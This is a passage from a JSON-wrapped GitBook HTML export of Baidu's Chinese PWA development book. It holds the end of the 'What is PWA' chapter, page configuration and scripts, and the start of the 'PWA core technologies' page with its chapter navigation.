&#x80FD;&#x7ED9;&#x7AD9;&#x70B9;&#x4F53;&#x9A8C;&#x5E26;&#x6765;&#x98DE;&#x8DC3;&#x5F0F;&#x7684;&#x63D0;&#x5347;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7528;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5982; Chrome&#xFF0C; &#x8BBF;&#x95EE; <a href=\"https://lavas.baidu.com\" target=\"_blank\">LAVAS &#x5B98;&#x7F51;</a> &#x4F53;&#x9A8C;&#x4E00;&#x4E0B;&#xFF0C;&#x5E76;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x5728;&#x65AD;&#x7F51;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x4F7F;&#x7528;&#x3002;&#x73B0;&#x5728;&#x5728;&#x56FD;&#x5185;&#x4E5F;&#x6709;&#x5F88;&#x591A; PWA &#x7AD9;&#x70B9;&#xFF0C;&#x6BD4;&#x5982;&#x997F;&#x4E86;&#x4E48;&#x548C;&#x65B0;&#x6D6A;&#x5FAE;&#x535A;&#x7684;&#x79FB;&#x52A8;&#x7248;&#xFF0C;&#x4E0D;&#x7528;&#x8017;&#x8D39;&#x6D41;&#x91CF;&#x4E0B;&#x8F7D;&#x51E0;&#x5341;&#x5146;&#x7684;&#x5E94;&#x7528;&#xFF0C;&#x5C31;&#x80FD;&#x6709;&#x548C;&#x539F;&#x751F;&#x5E94;&#x7528;&#x4E00;&#x6837;&#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x4E0D;&#x59A8;&#x5C1D;&#x8BD5;&#x4E00;&#x4E0B;&#x3002;</p>\n<p>&#x5728;&#x540E;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x4ECE;&#x4F53;&#x9A8C;&#x3001;&#x5B89;&#x5168;&#x548C;&#x6027;&#x80FD;&#x4E09;&#x4E2A;&#x89D2;&#x5EA6;&#x6765;&#x5206;&#x6790;&#x5982;&#x4F55;&#x6253;&#x9020;&#x4E00;&#x4E2A;&#x597D;&#x7684; PWA&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-how-was-pwa-born.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.1 为什么会出现 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-what-are-key-techs.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.3 PWA 的核心技术\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.2 什么是 PWA\",\"level\":\"1.2.2\",\"depth\":2,\"next\":{\"title\":\"1.3 PWA 的核心技术\",\"level\":\"1.2.3\",\"depth\":2,\"path\":\"chapter01/3-what-are-key-techs.md\",\"ref\":\"chapter01/3-what-are-key-techs.md\",\"articles\":[]},\"previous\":{\"title\":\"1.1 为什么会出现 PWA\",\"level\":\"1.2.1\",\"depth\":2,\"path\":\"chapter01/1-how-was-pwa-born.md\",\"ref\":\"chapter01/1-how-was-pwa-born.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/2-what-is-pwa.md\",\"mtime\":\"2019-06-19T10:37:41.914Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/3-what-are-key-techs.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.3 PWA 的核心技术 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-how-is-pwa-going.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-what-is-pwa.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            